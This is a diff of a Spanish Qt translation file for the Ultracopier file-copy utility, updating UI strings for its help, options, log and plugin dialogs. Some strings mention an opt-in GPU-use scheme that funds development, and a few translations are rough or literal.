- <location filename="../../../HelpDialog.ui" line="70"/>
- <source>Based on Qt. It provide advanced copier with more advanced feature. It&apos;s under GPL3.
+ <location filename="../../../HelpDialog.ui" line="67"/>
+ <source>Based on Qt. Advanced utility to copy files under GPL3 license.
This version is compiled as version: %1.</source>
<extracomment>%1 will be replaced by a variable content (normal, debug, ...)</extracomment>
- <translation>Basado en Qt. Se proporcionan copiadora avanzada con más funciones avanzadas. Es bajo GPL3.
-Esta versión se compila como la versión: %1.</translation>
+ <translation>Basado en Qt. Utilidad avanzada para copiar los archivos bajo licencia GPL3.
+Esta versión está compilada en versión:%1.</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="88"/>
+ <location filename="../../../HelpDialog.ui" line="85"/>
<source>Platform: %1</source>
<extracomment>%1 will be replaced by the platform (windows, mac, linux, ...)</extracomment>
<translation>Plataforma: %1</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="149"/>
+ <location filename="../../../HelpDialog.ui" line="121"/>
<source>About Qt</source>
<translation>Acerca de Qt</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="169"/>
+ <location filename="../../../HelpDialog.ui" line="141"/>
<source>Do a crash</source>
<translation>Hacer a crash</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="176"/>
+ <location filename="../../../HelpDialog.ui" line="148"/>
<source>Save bug report</source>
<translation>Guardar informe de error</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="183"/>
+ <location filename="../../../HelpDialog.ui" line="155"/>
<source>Close</source>
<translation>Cerrar</translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="74"/>
+ <location filename="../../../HelpDialog.cpp" line="35"/>
+ <source>About Supercopier</source>
+ <translation>Acerca de Supercopier</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="80"/>
<source>For http://portableapps.com/</source>
<translation>Para http://portableapps.com/</translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="76"/>
+ <location filename="../../../HelpDialog.cpp" line="83"/>
+ <source>Portable and all in one version</source>
+ <translation>Portable y todo en una versión</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="85"/>
<source>Portable version</source>
<translation>Version portable</translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="79"/>
+ <location filename="../../../HelpDialog.cpp" line="90"/>
+ <source>All in one version</source>
+ <translation>Todo en una sola versión</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="92"/>
<source>Normal version</source>
<translation>Version normal</translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="85"/>
+ <location filename="../../../HelpDialog.cpp" line="110"/>
+ <location filename="../../../HelpDialog.cpp" line="112"/>
+ <location filename="../../../HelpDialog.cpp" line="123"/>
<source>http://ultracopier.first-world.info/</source>
- <extracomment>This site need be the official site of ultracopier, into the right languages, english if not exists</extracomment>
<translation>http://ultracopier-es.first-world.info/</translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="78"/>
+ <location filename="../../../HelpDialog.cpp" line="120"/>
+ <source>http://ultracopier.first-world.info/shop.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="125"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
+ <translation>http://ultracopier-es.first-world.info/descarga.html</translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="75"/>
<source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;For more information see the website &lt;a href=&quot;%1&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0057ae;&quot;&gt;%1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
<extracomment>%1 will be remplaced by the website into the corresponding languages</extracomment>
<translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Para obtener más información, consulte el sitio web &lt;a href=&quot;%1&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0057ae;&quot;&gt;%1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
@@ -481,12 +615,12 @@ Esta versión se compila como la versión: %1.</translation>
<context>
<name>LocalListener</name>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Warning</source>
<translation>Advertencia</translation>
</message>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Timeout while recomposing data from connected clients</source>
<translation>Tiempo de espera, mientras que la recomposición de datos de los clientes conectados</translation>
</message>
@@ -494,22 +628,83 @@ Esta versión se compila como la versión: %1.</translation>
<context>
<name>LogThread</name>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
<source>Error</source>
<translation>Error</translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
<source>Log file already open, error: %1</source>
<translation>Entrar archivo ya está abierto, error: %1</translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
+ <source>Unable to open the log file, error: %1</source>
+ <translation>No se puede abrir el archivo de registro, error: %1</translation>
+ </message>
+ <message>
<source>Unable to open file to keep the log file, error: %1</source>
- <translation>No se puede abrir el archivo para mantener el archivo de registro, error: %1</translation>
+ <translation type="obsolete">No se puede abrir el archivo para mantener el archivo de registro, error: %1</translation>
+ </message>
+</context>
+<context>
+ <name>OSSpecific</name>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="26"/>
+ <source>Warning</source>
+ <translation>Advertencia</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="58"/>
+ <source>Don&apos;t show again</source>
+ <translation>No mostrar de nuevo</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="83"/>
+ <source>Ok</source>
+ <translation>Ok</translation>
+ </message>
+ <message>
+ <source>The replacement of default copy/move system is not supported by the file manager (Dolphin, Nautilus, ...).&lt;br /&gt;Ask to the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="obsolete">La sustitución de la copia default / sistema de movimiento no está soportado por el gestor de archivos (Dolphin, Nautilus, ...). &lt;br /&gt; Pregunte al desarrollador para apoyarlo. &lt;br /&gt; Es necesario hacer el copiar / mover manualmente.</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="23"/>
+ <source>The replacement of default copy/move system is not supported by the file manager (Dolphin, Nautilus, ...).&lt;br /&gt;Ask the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation>La sustitución de la copia default / sistema de movimiento no está soportado por el gestor de archivos (Dolphin, Nautilus, ...). &lt;br /&gt; Pregunte al desarrollador para apoyarlo. &lt;br /&gt; Es necesario hacer el copiar / mover manualmente.</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="25"/>
+ <source>Reboot the system if previously had similar software installed (like Teracopy, Supercopier or an earlier version of Ultracopier).</source>
+ <translation>Reinicie el sistema si previamente se había instalado software similar (como TeraCopy, SuperCopier o una versión anterior de Ultracopier).</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="27"/>
+ <source>The replacement of default copy/move system is not supported and blocked by finder of Mac OS X.&lt;br /&gt;You need do the copy/move manually by right clicking on the system tray icon near the clock (not the dock icon).</source>
+ <translation>La sustitución de la copia default / sistema de movimiento no se admite y bloquea buscador de Mac OS X. &lt;br /&gt; Es necesario hacer el copiar / mover manualmente haciendo clic derecho sobre el icono de la bandeja del sistema, cerca del reloj (no el icono del Dock).</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="29"/>
+ <source>The replacement of default copy/move system should be not supported by the file manager.&lt;br /&gt;Ask to the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation>La sustitución de incumplimiento de copiar / mover sistema no debe ser soportado por el gestor de archivos. &lt;br /&gt; Pregunte al desarrollador para apoyarlo. &lt;br /&gt; Usted necesita hacer el copiar / mover manualmente.</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="32"/>
+ <source>Consider Supercopier as deprecated, prefer Ultracopier</source>
+ <translation>Considere supercopier como obsoleto, prefieren Ultracopier</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="35"/>
+ <source>This version use 100% of you graphic card/GPU (you computer can be noisy, or slow/buggy during the games) at exchange of free access to Ultimate version. If you don&apos;t wish it, download the normal version with a small advertisement (just a link on the main window) or buy the Ultimate version to fund the project.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="36"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
+ <translation type="unfinished">http://ultracopier-es.first-world.info/descarga.html</translation>
</message>
</context>
<context>
@@ -532,258 +727,375 @@ Esta versión se compila como la versión: %1.</translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="66"/>
- <location filename="../../../OptionDialog.ui" line="275"/>
- <location filename="../../../OptionDialog.cpp" line="186"/>
+ <location filename="../../../OptionDialog.ui" line="322"/>
+ <location filename="../../../OptionDialog.cpp" line="354"/>
<source>Copy engine</source>
<translation>Motor de copia</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="95"/>
- <location filename="../../../OptionDialog.ui" line="303"/>
+ <location filename="../../../OptionDialog.ui" line="92"/>
+ <location filename="../../../OptionDialog.ui" line="350"/>
<source>Themes</source>
<translation>Themas</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="100"/>
+ <location filename="../../../OptionDialog.ui" line="97"/>
<source>Log</source>
<translation>Log</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="117"/>
- <source>Language:</source>
- <translation>Idioma:</translation>
+ <source>Load at the session loading:</source>
+ <translation type="obsolete">Carga en la carga de la sesión:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="127"/>
- <source>Autodetect the system language:</source>
- <translation>Detectar automáticamente el idioma del sistema:</translation>
+ <location filename="../../../OptionDialog.ui" line="222"/>
+ <source>Confirm to group the windows</source>
+ <translation>Confirmar al grupo de las ventanas</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="141"/>
- <source>Catch the copy/move as default:</source>
- <translation>Coger el copiar/mover de forma predeterminada:</translation>
+ <source>Display the OS warning:</source>
+ <translation type="obsolete">Muestra la advertencia OS:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="155"/>
- <source>Load at the session loading:</source>
- <translation>Carga en la carga de la sesión:</translation>
+ <location filename="../../../OptionDialog.ui" line="245"/>
+ <source>Check for updates</source>
+ <translation>Buscar actualizaciones</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="265"/>
+ <source>Give GPU time to Ultracopier</source>
+ <translation type="obsolete">Dale GPU tiempo</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="312"/>
<source>Name</source>
<translation>Nombre</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="270"/>
+ <location filename="../../../OptionDialog.ui" line="317"/>
<source>Version</source>
<translation>Version</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="280"/>
+ <location filename="../../../OptionDialog.ui" line="327"/>
<source>Language</source>
<translation>Lenguaje</translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="71"/>
- <location filename="../../../OptionDialog.ui" line="288"/>
- <location filename="../../../OptionDialog.cpp" line="187"/>
+ <location filename="../../../OptionDialog.ui" line="335"/>
+ <location filename="../../../OptionDialog.cpp" line="355"/>
<source>Listener</source>
<translation>Oyente</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="79"/>
- <location filename="../../../OptionDialog.ui" line="293"/>
- <location filename="../../../OptionDialog.cpp" line="188"/>
+ <location filename="../../../OptionDialog.ui" line="76"/>
+ <location filename="../../../OptionDialog.ui" line="340"/>
+ <location filename="../../../OptionDialog.cpp" line="356"/>
<source>Plugin loader</source>
<translation>Plugin cargador</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="87"/>
- <location filename="../../../OptionDialog.ui" line="298"/>
- <location filename="../../../OptionDialog.cpp" line="189"/>
+ <location filename="../../../OptionDialog.ui" line="84"/>
+ <location filename="../../../OptionDialog.ui" line="345"/>
+ <location filename="../../../OptionDialog.cpp" line="357"/>
<source>Session loader</source>
<translation>Sesión cargador</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="311"/>
+ <source>Check the update</source>
+ <translation type="obsolete">Compruebe la actualización</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="117"/>
+ <source>Force the language</source>
+ <translation>Forzar el idioma</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="127"/>
+ <source>Replace the default copy and move system</source>
+ <translation>Sustituto del sistema de copia</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="141"/>
+ <source>Load at the session loading</source>
+ <translation>Carga en la carga de la sesión</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="155"/>
+ <source>When manual open</source>
+ <translation>Cuando apertura manual</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="181"/>
+ <source>Group the windows when</source>
+ <translation>Grupo de las ventanas cuando</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="229"/>
+ <source>Display the OS warning</source>
+ <translation>Muestra la advertencia OS</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="255"/>
+ <source>Give GPU time to fund the development</source>
+ <translation>Dar tiempo GPU para financiar el desarrollo</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="262"/>
+ <source>Remaining time algorithm</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="270"/>
+ <source>Traditional</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="275"/>
+ <source>Logarithmic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="358"/>
<source>Plugin</source>
<translation>Plugin</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="330"/>
+ <location filename="../../../OptionDialog.ui" line="377"/>
<source>Add</source>
<translation>Añadir</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="343"/>
+ <location filename="../../../OptionDialog.ui" line="390"/>
<source>Remove</source>
<translation>Eliminar</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="353"/>
+ <location filename="../../../OptionDialog.ui" line="400"/>
<source>Information</source>
<translation>Información</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="380"/>
+ <location filename="../../../OptionDialog.ui" line="427"/>
<source>Copy engine by order of preference:</source>
<translation>Copia del motor por orden de preferencia:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="493"/>
+ <location filename="../../../OptionDialog.ui" line="498"/>
+ <source>Client connected</source>
+ <translation>Cliente conectado</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="554"/>
<source>Themes:</source>
<translation>Temas:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="555"/>
+ <location filename="../../../OptionDialog.ui" line="616"/>
<source>Unable to load the themes plugin</source>
<translation>No se puede cargar el plugin temas</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="605"/>
+ <location filename="../../../OptionDialog.ui" line="666"/>
<source>No option for this plugin</source>
<translation>No hay ninguna opción para este plugin</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="655"/>
+ <location filename="../../../OptionDialog.ui" line="716"/>
<source>Browse</source>
<translation>Navegar</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="687"/>
- <location filename="../../../OptionDialog.ui" line="700"/>
+ <location filename="../../../OptionDialog.ui" line="741"/>
+ <source>Write the transfers</source>
+ <translation>Escriba las transferencias</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="801"/>
+ <source>Write the folder operations</source>
+ <translation>Escriba la carpeta de las operaciones</translation>
+ </message>
+ <message>
+ <source>Write directly the file when it receive a new entry (can produce 50% of lost of performance)</source>
+ <translation type="obsolete">Escriba directamente el archivo cuando se recibe una nueva entrada (se puede producir un 50% de pérdida de rendimiento)</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="748"/>
<source>The variables are %time%, %source%, %size%, %destination%</source>
- <extracomment>%time%, %source%, %size%, %destination% should not be translated
-----------
-%time%, %source%, %size%, %destination% should not be translated</extracomment>
+ <extracomment>%time%, %source%, %size%, %destination% should not be translated</extracomment>
<translation>Las variables son %time%, %source%, %size%, %destination%</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="717"/>
- <location filename="../../../OptionDialog.ui" line="730"/>
+ <location filename="../../../OptionDialog.ui" line="771"/>
+ <source>Write the errors</source>
+ <translation>Escribir los errores</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="778"/>
<source>The variables are %time%, %path%, %size%, %mtime%, %error%</source>
- <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated
-----------
-%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
+ <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
<translation>Las variables son %time%, %path%, %size%, %mtime%, %error%</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="636"/>
+ <location filename="../../../OptionDialog.ui" line="697"/>
<source>Write the log file into:</source>
<translation>Escribir el archivo de registro en:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="680"/>
+ <source>Force the language:</source>
+ <translation type="obsolete">Forzar el idioma:</translation>
+ </message>
+ <message>
+ <source>Replace the default copy and move system:</source>
+ <translation type="obsolete">Vuelva a colocar la copia por omisión y el sistema de movimiento:</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="728"/>
+ <source>Write directly to the file when it receive a new entry (can produce 50% of lost of performance)</source>
+ <translation>Escriba directamente el archivo cuando se recibe una nueva entrada (se puede producir un 50% de pérdida de rendimiento)</translation>
+ </message>
+ <message>
<source>Write the transfers:</source>
- <translation>Escriba las transferencias:</translation>
+ <translation type="obsolete">Escriba las transferencias:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="710"/>
<source>Write the errors:</source>
- <translation>Escribir los errores:</translation>
+ <translation type="obsolete">Escribir los errores:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="740"/>
<source>Write the folder operations:</source>
- <translation>Escriba la carpeta de las operaciones:</translation>
+ <translation type="obsolete">Escriba la carpeta de las operaciones:</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load</source>
+ <translation>Cargar</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <source>Load the theme?</source>
+ <translation>Cargue el tema?</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load the language?</source>
+ <translation>Cargue el idioma?</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="190"/>
- <location filename="../../../OptionDialog.cpp" line="191"/>
- <location filename="../../../OptionDialog.cpp" line="321"/>
- <location filename="../../../OptionDialog.cpp" line="322"/>
<source>Disabled because you have any SessionLoader plugin</source>
- <translation>Desactiveado porque no tienes niguano plugin SessionLoader</translation>
+ <translation type="obsolete">Desactiveado porque no tienes niguano plugin SessionLoader</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>Allow the application</source>
+ <translation>Permitir la aplicación</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>This Ultimate free version is only if %1 is allowed by your antivirus. Else you can get the normal free version</source>
+ <translation>Esta versión gratuita de ruptura es sólo si %1 es permitido por su antivirus. Cosa que usted puede obtener la versión normal gratis</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="192"/>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>Enable the OpenCL</source>
+ <translation>Habilite el OpenCL</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>This Ultimate version is only if the OpenCL is installed with your graphic card drivers. Else you can get the normal free version</source>
+ <translation>Esta versión Ultimate es sólo si el OpenCL se instala con los controladores de la tarjeta gráfica. Cosa que usted puede obtener la versión normal gratis</translation>
+ </message>
+ <message>
+ <source>Disabled because you do not have any SessionLoader plugin</source>
+ <translation type="obsolete">Discapacitados, ya que no tiene ningún plugin SessionLoader</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="362"/>
<source>Do nothing</source>
<translation>No hacer nada</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="193"/>
+ <location filename="../../../OptionDialog.cpp" line="363"/>
<source>Ask source as folder</source>
<translation>Pregunte a la fuente que la carpeta</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="194"/>
+ <location filename="../../../OptionDialog.cpp" line="364"/>
<source>Ask sources as files</source>
<translation>Pregunte a las fuentes como archivos</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="195"/>
+ <location filename="../../../OptionDialog.cpp" line="365"/>
<source>Never</source>
<translation>Nunca</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="196"/>
+ <location filename="../../../OptionDialog.cpp" line="366"/>
<source>When source is same</source>
<translation>Cuando la fuente es la misma</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="197"/>
+ <location filename="../../../OptionDialog.cpp" line="367"/>
<source>When destination is same</source>
<translation>Cuando destino es el mismo</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="198"/>
+ <location filename="../../../OptionDialog.cpp" line="368"/>
<source>When source and destination are same</source>
<translation>Cuando la fuente y el destino son los mismos</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="199"/>
+ <location filename="../../../OptionDialog.cpp" line="369"/>
<source>When source or destination are same</source>
<translation>Cuando la fuente o el destino son los mismos</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="200"/>
+ <location filename="../../../OptionDialog.cpp" line="370"/>
<source>Always</source>
<translation>Siempre</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="792"/>
- <source>Save logs as: </source>
- <translation>Guardar registros como: </translation>
+ <location filename="../../../OptionDialog.cpp" line="384"/>
+ <location filename="../../../OptionDialog.cpp" line="385"/>
+ <location filename="../../../OptionDialog.cpp" line="386"/>
+ <source>The variables are %1</source>
+ <translation>Las variables son %1</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="667"/>
- <source>This write directly the file when it receive the new entry, but it can produce 50% of lost of performance</source>
- <translation>Esta escribir directamente el archivo cuando lo reciba la nueva entrada, pero se puede producir el 50% de pérdida de rendimiento</translation>
+ <location filename="../../../OptionDialog.cpp" line="1591"/>
+ <source>Save logs as: </source>
+ <translation>Guardar registros como: </translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="670"/>
+ <location filename="../../../OptionDialog.ui" line="731"/>
<source>Synchronized log</source>
<translation>Registro de sincronizada</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="169"/>
<source>When manual open:</source>
- <translation>Cuando apertura manual:</translation>
+ <translation type="obsolete">Cuando apertura manual:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="229"/>
<source>Group the windows when:</source>
- <translation>Grupo de las ventanas cuando:</translation>
+ <translation type="obsolete">Grupo de las ventanas cuando:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="750"/>
- <location filename="../../../OptionDialog.ui" line="763"/>
+ <location filename="../../../OptionDialog.ui" line="811"/>
<source>The variables are %path%, %operation%</source>
- <extracomment>%path%, %operation% should not be translated
-----------
-%path%, %operation% should not be translated</extracomment>
+ <extracomment>%path%, %operation% should not be translated</extracomment>
<translation>Las variables son %path%, %operation%</translation>
</message>
</context>
<context>
<name>OptionEngine</name>
<message>
- <location filename="../../../OptionEngine.cpp" line="154"/>
- <location filename="../../../OptionEngine.cpp" line="158"/>
- <location filename="../../../OptionEngine.cpp" line="195"/>
- <location filename="../../../OptionEngine.cpp" line="199"/>
- <source>Try get variable, but the variable is not found: %1 %2</source>
- <translation>Trate de obtener la variable, pero la variable no se encuentra: %1 %2</translation>
+ <location filename="../../../OptionEngine.cpp" line="161"/>
+ <location filename="../../../OptionEngine.cpp" line="165"/>
+ <location filename="../../../OptionEngine.cpp" line="202"/>
+ <location filename="../../../OptionEngine.cpp" line="206"/>
+ <source>The variable was not found: %1 %2</source>
+ <translation>La variable no se ha encontrado: %1 %2</translation>
</message>
</context>
<context>
@@ -824,37 +1136,42 @@ Esta versión se compila como la versión: %1.</translation>
<translation>Versión:</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="40"/>
- <source>CopyEngine</source>
+ <location filename="../../../PluginInformation.cpp" line="38"/>
+ <source>Copy engine</source>
<translation>Motor de copia</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="43"/>
+ <location filename="../../../PluginInformation.cpp" line="41"/>
<source>Languages</source>
<translation>Idiomas</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="46"/>
+ <location filename="../../../PluginInformation.cpp" line="44"/>
<source>Listener</source>
<translation>Oyente</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="49"/>
- <source>PluginLoader</source>
+ <location filename="../../../PluginInformation.cpp" line="47"/>
+ <source>Plugin loader</source>
<translation>Plugin cargador</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="52"/>
- <source>SessionLoader</source>
+ <location filename="../../../PluginInformation.cpp" line="50"/>
+ <source>Session loader</source>
<translation>Sesión cargador</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="55"/>
+ <location filename="../../../PluginInformation.cpp" line="53"/>
<source>Themes</source>
<translation>Themas</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="69"/>
+ <location filename="../../../PluginInformation.cpp" line="57"/>
+ <source>Unknown</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="67"/>
<source>Information about %1</source>
<translation>Información sobre %1</translation>
</message>
@@ -872,127 +1189,135 @@ Esta versión se compila como la versión: %1.</translation>
<context>
<name>PluginsManager</name>
<message>
- <location filename="../../../PluginsManager.cpp" line="208"/>
+ <location filename="../../../PluginsManager.cpp" line="221"/>
<source>informations.xml is not accessible</source>
<translation>informations.xml no es accesible</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="214"/>
<source>informations.xml not found into the plugin</source>
- <translation>informations.xml que no se encuentran en el plug-in</translation>
+ <translation type="obsolete">informations.xml que no se encuentran en el plug-in</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="474"/>
+ <location filename="../../../PluginsManager.cpp" line="487"/>
<source>Dependencies part is wrong</source>
<translation>Parte las dependencias se equivoca</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="493"/>
+ <location filename="../../../PluginsManager.cpp" line="508"/>
<source>Dependencies %1 are not satisfied, for plugin: %2</source>
<translation>Dependencias %1 no está satisfecho, para el plugin:%2</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Remove %1</source>
<translation>Eliminar %1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error</source>
<translation>Error</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Information</source>
<translation>Información</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="242"/>
+ <location filename="../../../PluginsManager.cpp" line="253"/>
<source>%1, parse error at line %2, column %3: %4</source>
<translation>%1, error de análisis en la línea %2, la columna %3: %4</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="250"/>
+ <location filename="../../../PluginsManager.cpp" line="227"/>
+ <source>informations.xml not found for the plugin</source>
+ <translation>informations.xml no se encuentra el plug-in</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="261"/>
<source>&quot;package&quot; root tag not found for the xml file</source>
<translation>&quot;package&quot; etiqueta raíz que no se encuentra el archivo xml</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="326"/>
+ <location filename="../../../PluginsManager.cpp" line="337"/>
<source>Duplicated plugin found, already loaded!</source>
<translation>Plugin de duplicados encontrados, ya está cargado!</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="384"/>
<source>English text missing into the informations.xml for the tag: %1</source>
- <translation>Texto de Inglés que falta en el informations.xml de la etiqueta: %1</translation>
+ <translation type="obsolete">Texto de Inglés que falta en el informations.xml de la etiqueta: %1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="392"/>
+ <location filename="../../../PluginsManager.cpp" line="395"/>
